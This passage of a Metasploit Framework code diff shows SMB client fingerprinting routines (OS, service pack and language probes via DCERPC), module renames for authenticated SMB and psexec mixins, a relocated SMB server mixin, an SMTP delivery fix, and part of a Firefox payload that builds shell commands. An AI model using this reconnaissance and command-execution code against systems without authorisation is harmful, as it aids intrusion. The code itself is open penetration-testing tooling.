||||
end
|
||||
|
||||
# Establishes an SMB session over the default socket and connects to
|
||||
# the IPC$ share.
|
||||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
datastore['SMBDomain'],
|
||||
datastore['SMB::VerifySignature'],
|
||||
datastore['NTLM::UseNTLMv2'],
|
||||
datastore['NTLM::UseNTLM2_session'],
|
||||
datastore['NTLM::SendLM'],
|
||||
datastore['NTLM::UseLMKey'],
|
||||
datastore['NTLM::SendNTLM'],
|
||||
datastore['SMB::Native_OS'],
|
||||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
# This method returns the native operating system of the peer
|
||||
def smb_peer_os
|
||||
self.simple.client.peer_native_os
|
||||
end
|
||||
|
||||
# This method returns the native lanman version of the peer
|
||||
def smb_peer_lm
|
||||
self.simple.client.peer_native_lm
|
||||
end
|
||||
|
||||
# This method opens a handle to an IPC pipe
|
||||
def smb_create(pipe)
|
||||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
datastore['SMBName'] || '*SMBSERVER'
|
||||
end
|
||||
|
||||
def smb_direct
|
||||
datastore['SMBDirect']
|
||||
end
|
||||
|
||||
def domain
|
||||
datastore['SMBDomain']
|
||||
end
|
||||
|
||||
def smbhost
|
||||
if domain == "."
|
||||
"#{rhost}:#{rport}"
|
||||
else
|
||||
"#{rhost}:#{rport}|#{domain}"
|
||||
end
|
||||
end
|
||||
|
||||
# If the username contains a / slash, then
|
||||
# split it as a domain/username. NOTE: this
|
||||
# is predicated on forward slashes, and not
|
||||
# Microsoft's backwards slash convention.
|
||||
def domain_username_split(user)
|
||||
return user if(user.nil? || user.empty?)
|
||||
if !user[/\//] # Only /, not \!
|
||||
return [nil,user]
|
||||
else
|
||||
return user.split("/",2)
|
||||
end
|
||||
end
|
||||
|
||||
def splitname(uname)
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(uname)
|
||||
return u
|
||||
else
|
||||
return uname
|
||||
end
|
||||
end
|
||||
|
||||
# Whether a remote file exists
|
||||
#
|
||||
# @param file [String] Path to a file to remove, relative to the
|
||||
# most-recently connected share
|
||||
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
|
||||
def smb_file_exist?(file)
|
||||
begin
|
||||
fd = simple.open(file, 'ro')
|
||||
rescue XCEPT::ErrorCode => e
|
||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||
# then we can be sure the file is not there.
|
||||
#
|
||||
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
|
||||
# required to pull them out of a giant inverted hash
|
||||
#
|
||||
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
|
||||
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
|
||||
# 0xC0000225 => "STATUS_NOT_FOUND",
|
||||
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
|
||||
# If the server returns some other error, then there was a
|
||||
# permissions problem or some other difficulty that we can't
|
||||
# really account for and hope the caller can deal with it.
|
||||
raise e unless error_is_not_found
|
||||
found = !error_is_not_found
|
||||
else
|
||||
# There was no exception, so we know the file is openable
|
||||
fd.close
|
||||
found = true
|
||||
end
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# Remove remote file
|
||||
#
|
||||
# @param file (see #smb_file_exist?)
|
||||
# @return [void]
|
||||
def smb_file_rm(file)
|
||||
fd = smb_open(file, 'ro')
|
||||
fd.delete
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Fingerprinting methods
|
||||
#
|
||||
|
||||
|
||||
# Calls the EnumPrinters() function of the spooler service
|
||||
def smb_enumprinters(flags, name, level, blen)
|
||||
stub =
|
||||
NDR.long(flags) +
|
||||
(name ? NDR.uwstring(name) : NDR.long(0)) +
|
||||
NDR.long(level) +
|
||||
NDR.long(rand(0xffffffff)+1)+
|
||||
NDR.long(blen) +
|
||||
"\x00" * blen +
|
||||
NDR.long(blen)
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
|
||||
'ncacn_np', ["\\SPOOLSS"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
dcerpc.call(0x00, stub)
|
||||
return dcerpc.last_response.stub_data
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# This method dumps the print provider strings from the spooler
|
||||
def smb_enumprintproviders
|
||||
resp = smb_enumprinters(8, nil, 1, 0)
|
||||
return nil if not resp
|
||||
rptr, tmp, blen = resp.unpack("V*")
|
||||
|
||||
resp = smb_enumprinters(8, nil, 1, blen)
|
||||
return nil if not resp
|
||||
|
||||
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
|
||||
return nil if stat != 0
|
||||
return nil if pcnt == 0
|
||||
return nil if bcnt > blen
|
||||
return nil if pcnt < 3
|
||||
|
||||
#
|
||||
# The correct way, which leads to invalid offsets :-(
|
||||
#
|
||||
#providers = []
|
||||
#
|
||||
#0.upto(pcnt-1) do |i|
|
||||
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
|
||||
#
|
||||
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
|
||||
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
|
||||
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
|
||||
# #providers << [flags,desc,name,comm]
|
||||
#end
|
||||
#
|
||||
#providers
|
||||
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
# This method performs an extensive set of fingerprinting operations
|
||||
def smb_fingerprint
|
||||
fprint = {}
|
||||
|
||||
# Connect to the server if needed
|
||||
if not self.simple
|
||||
connect()
|
||||
smb_login()
|
||||
end
|
||||
|
||||
fprint['native_os'] = smb_peer_os()
|
||||
fprint['native_lm'] = smb_peer_lm()
|
||||
|
||||
# Leverage Recog for SMB native OS fingerprinting
|
||||
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
|
||||
|
||||
os = fp_match['os.product'] || 'Unknown'
|
||||
sp = fp_match['os.version'] || ''
|
||||
|
||||
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
|
||||
if os =~ /^Windows Server/
|
||||
os = os.sub(/^Windows Server/, 'Windows')
|
||||
end
|
||||
|
||||
if fp_match['os.edition']
|
||||
fprint['edition'] = fp_match['os.edition']
|
||||
end
|
||||
|
||||
if fp_match['os.build']
|
||||
fprint['build'] = fp_match['os.build']
|
||||
end
|
||||
|
||||
if sp == ''
|
||||
sp = smb_fingerprint_windows_sp(os)
|
||||
end
|
||||
|
||||
lang = smb_fingerprint_windows_lang
|
||||
|
||||
fprint['os'] = os
|
||||
fprint['sp'] = sp
|
||||
fprint['lang'] = lang
|
||||
|
||||
fprint
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the service pack level of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_sp(os)
|
||||
sp = ''
|
||||
|
||||
if (os == 'Windows XP')
|
||||
# SRVSVC was blocked in SP2
|
||||
begin
|
||||
smb_create("\\SRVSVC")
|
||||
sp = 'Service Pack 0 / 1'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 2+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (os == 'Windows 2000' and sp.length == 0)
|
||||
# LLSRPC was blocked in a post-SP4 update
|
||||
begin
|
||||
smb_create("\\LLSRPC")
|
||||
sp = 'Service Pack 0 - 4'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 4 with MS05-010+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Perform granular XP SP checks if LSARPC is exposed
|
||||
#
|
||||
if (os == 'Windows XP')
|
||||
|
||||
#
|
||||
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
|
||||
# Credit to spoonm for first use of unbounded [out] buffers
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub =
|
||||
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.long(64001) +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
|
||||
dcerpc.call(0x22, stub)
|
||||
sp = "Service Pack 0 / 1"
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
|
||||
sp = "Service Pack 2+"
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Service Pack 3 fixed information leaks via [unique][out] pointers
|
||||
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
|
||||
# Credit:
|
||||
# Pointer leak is well known, but Immunity also covered in a paper
|
||||
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
|
||||
resp = dcerpc.call(0x1c, stub)
|
||||
|
||||
if(resp and resp[0,4] == "\x00\x00\x02\x00")
|
||||
sp = "Service Pack 3"
|
||||
else
|
||||
if(resp and sp =~ /Service Pack 2\+/)
|
||||
sp = "Service Pack 2"
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
sp
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Determine the native language pack of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_lang
|
||||
|
||||
#
|
||||
# Remote language detection via Print Providers
|
||||
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
|
||||
#
|
||||
|
||||
lang = 'Unknown'
|
||||
|
||||
sigs =
|
||||
{
|
||||
'English' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Windows NT Remote Printers'),
|
||||
Rex::Text.to_unicode('LanMan Print Services')
|
||||
],
|
||||
'Spanish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
|
||||
],
|
||||
'Italian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
|
||||
Rex::Text.to_unicode('Servizi di stampa LanMan')
|
||||
],
|
||||
'French' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imprimantes distantes NT'),
|
||||
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
|
||||
Rex::Text.to_unicode("Services d'impression LanMan")
|
||||
],
|
||||
'German' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Remotedrucker')
|
||||
],
|
||||
'Portuguese - Brazilian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impr. remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
|
||||
],
|
||||
'Portuguese' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imp. remotas do Windows NT')
|
||||
],
|
||||
'Hungarian' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
|
||||
],
|
||||
'Finnish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
|
||||
],
|
||||
'Dutch' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Externe printers voor NT')
|
||||
],
|
||||
'Danish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Fjernprintere')
|
||||
],
|
||||
'Swedish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
|
||||
],
|
||||
'Polish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Zdalne drukarki')
|
||||
],
|
||||
'Czech' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
|
||||
],
|
||||
'Turkish' =>
|
||||
[
|
||||
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
|
||||
],
|
||||
'Japanese' =>
|
||||
[
|
||||
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
|
||||
],
|
||||
'Chinese - Traditional' =>
|
||||
[
|
||||
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
|
||||
],
|
||||
'Chinese - Traditional / Taiwan' =>
|
||||
[
|
||||
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
|
||||
],
|
||||
'Korean' =>
|
||||
[
|
||||
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
|
||||
],
|
||||
'Russian' =>
|
||||
[
|
||||
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
|
||||
],
|
||||
|
||||
}
|
||||
|
||||
begin
|
||||
prov = smb_enumprintproviders()
|
||||
if(prov)
|
||||
sigs.each_key do |k|
|
||||
sigs[k].each do |s|
|
||||
if(prov.index(s))
|
||||
lang = k
|
||||
break
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
|
||||
if(lang == 'Unknown')
|
||||
|
||||
@fpcache ||= {}
|
||||
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
|
||||
|
||||
if(not @fpcache[mhash])
|
||||
|
||||
buff = "\n"
|
||||
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
|
||||
buff << " VERS: $Revision$\n"
|
||||
buff << " HOST: #{rhost}\n"
|
||||
buff << " OS: #{os}\n"
|
||||
buff << " SP: #{sp}\n"
|
||||
|
||||
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
|
||||
next if line.length == 0
|
||||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
||||
buff << " TXT: #{line}\n"
|
||||
end
|
||||
|
||||
buff << "*** END FINGERPRINT\n"
|
||||
|
||||
print_line(buff)
|
||||
|
||||
@fpcache[mhash] = true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
end
|
||||
lang
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,9 +4,9 @@ module Msf
|
|||
|
||||
# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced
|
||||
# Included when the module needs credentials to function
|
||||
module Exploit::Remote::SMB::Authenticated
|
||||
module Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated
|
|||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
|
||||
], Msf::Exploit::Remote::SMB::Authenticated)
|
||||
], Msf::Exploit::Remote::SMB::Client::Authenticated)
|
||||
end
|
||||
end
|
||||
|
|
@ -11,11 +11,11 @@ module Msf
|
|||
# and running a binary.
|
||||
####
|
||||
|
||||
module Exploit::Remote::SMB::Psexec
|
||||
module Exploit::Remote::SMB::Client::Psexec
|
||||
|
||||
include Rex::Constants::Windows
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
|
@ -0,0 +1,149 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
# This mixin provides a minimal SMB server
|
||||
module Server
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::NTLM
|
||||
CONST = ::Rex::Proto::SMB::Constants
|
||||
CRYPT = ::Rex::Proto::SMB::Crypt
|
||||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
deregister_options('SSL', 'SSLCert')
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
|
||||
smb_conn(client)
|
||||
end
|
||||
|
||||
def on_client_data(client)
|
||||
# print_status("New data from #{client.peerhost}:#{client.peerport}")
|
||||
smb_recv(client)
|
||||
true
|
||||
end
|
||||
|
||||
def on_client_close(client)
|
||||
smb_stop(client)
|
||||
end
|
||||
|
||||
def smb_conn(c)
|
||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
|
||||
end
|
||||
|
||||
def smb_stop(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
|
||||
def smb_recv(c)
|
||||
smb = @state[c]
|
||||
smb[:data] ||= ''
|
||||
smb[:data] << c.get_once
|
||||
|
||||
while(smb[:data].length > 0)
|
||||
|
||||
return if smb[:data].length < 4
|
||||
|
||||
plen = smb[:data][2,2].unpack('n')[0]
|
||||
|
||||
return if smb[:data].length < plen+4
|
||||
|
||||
buff = smb[:data].slice!(0, plen+4)
|
||||
|
||||
pkt_nbs = CONST::NBRAW_PKT.make_struct
|
||||
pkt_nbs.from_s(buff)
|
||||
|
||||
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
|
||||
|
||||
# Check for a NetBIOS name request
|
||||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
||||
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
|
||||
c.write("\x82\x00\x00\x00")
|
||||
next
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# TODO: Support AndX parameters
|
||||
#
|
||||
|
||||
|
||||
# Cast this to a generic SMB structure
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Only response to requests, ignore server replies
|
||||
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
|
||||
print_status("Ignoring server response from #{smb[:name]}")
|
||||
next
|
||||
end
|
||||
|
||||
cmd = pkt['Payload']['SMB'].v['Command']
|
||||
begin
|
||||
smb_cmd_dispatch(cmd, c, buff)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
print_status("Received command #{cmd} from #{smb[:name]}")
|
||||
end
|
||||
|
||||
def smb_set_defaults(c, pkt)
|
||||
smb = @state[c]
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
|
||||
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
|
||||
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
|
||||
end
|
||||
|
||||
def smb_error(cmd, c, errorclass, esn = false)
|
||||
# 0xc0000022 = Deny
|
||||
# 0xc000006D = Logon_Failure
|
||||
# 0x00000000 = Ignore
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,153 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides a minimal SMB server
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Remote::SMBServer
|
||||
include Exploit::Remote::TcpServer
|
||||
include Exploit::NTLM
|
||||
CONST = ::Rex::Proto::SMB::Constants
|
||||
CRYPT = ::Rex::Proto::SMB::Crypt
|
||||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
|
||||
smb_conn(client)
|
||||
end
|
||||
|
||||
def on_client_data(client)
|
||||
# print_status("New data from #{client.peerhost}:#{client.peerport}")
|
||||
smb_recv(client)
|
||||
true
|
||||
end
|
||||
|
||||
def on_client_close(client)
|
||||
smb_stop(client)
|
||||
end
|
||||
|
||||
def smb_conn(c)
|
||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
|
||||
end
|
||||
|
||||
def smb_stop(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
|
||||
def smb_recv(c)
|
||||
smb = @state[c]
|
||||
smb[:data] ||= ''
|
||||
smb[:data] << c.get_once
|
||||
|
||||
while(smb[:data].length > 0)
|
||||
|
||||
return if smb[:data].length < 4
|
||||
|
||||
plen = smb[:data][2,2].unpack('n')[0]
|
||||
|
||||
return if smb[:data].length < plen+4
|
||||
|
||||
buff = smb[:data].slice!(0, plen+4)
|
||||
|
||||
pkt_nbs = CONST::NBRAW_PKT.make_struct
|
||||
pkt_nbs.from_s(buff)
|
||||
|
||||
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
|
||||
|
||||
# Check for a NetBIOS name request
|
||||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
||||
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
|
||||
c.write("\x82\x00\x00\x00")
|
||||
next
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# TODO: Support AndX parameters
|
||||
#
|
||||
|
||||
|
||||
# Cast this to a generic SMB structure
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Only response to requests, ignore server replies
|
||||
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
|
||||
print_status("Ignoring server response from #{smb[:name]}")
|
||||
next
|
||||
end
|
||||
|
||||
cmd = pkt['Payload']['SMB'].v['Command']
|
||||
begin
|
||||
smb_cmd_dispatch(cmd, c, buff)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
print_status("Received command #{cmd} from #{smb[:name]}")
|
||||
end
|
||||
|
||||
def smb_set_defaults(c, pkt)
|
||||
smb = @state[c]
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
|
||||
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
|
||||
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
|
||||
end
|
||||
|
||||
def smb_error(cmd, c, errorclass, esn = false)
|
||||
# 0xc0000022 = Deny
|
||||
# 0xc000006D = Logon_Failure
|
||||
# 0x00000000 = Ignore
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -141,6 +141,8 @@ module Exploit::Remote::SMTPDeliver
|
|||
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
|
||||
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
|
||||
|
||||
resp = raw_send_recv("DATA\r\n", nsock)
|
||||
|
||||
# If the user supplied a Date field, use that, else use the current
|
||||
# DateTime in the proper RFC2822 format.
|
||||
if datastore['DATE'].present?
|
||||
|
@ -154,8 +156,6 @@ module Exploit::Remote::SMTPDeliver
|
|||
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
|
||||
end
|
||||
|
||||
resp = raw_send_recv("DATA\r\n", nsock)
|
||||
|
||||
# Avoid sending tons of data and killing the connection if the server
|
||||
# didn't like us.
|
||||
if not resp or not resp[0,3] == '354'
|
||||
|
|
|
@ -175,14 +175,16 @@ module Msf::Payload::Firefox
|
|||
stdout.append(stdoutFile);
|
||||
|
||||
var shell;
|
||||
cmd = cmd.trim();
|
||||
if (windows) {
|
||||
shell = shPath+" "+cmd.trim();
|
||||
shell = shPath+" "+cmd;
|
||||
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
|
||||
var b64 = svcs.btoa(shell);
|
||||
} else {
|
||||
shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
|
||||
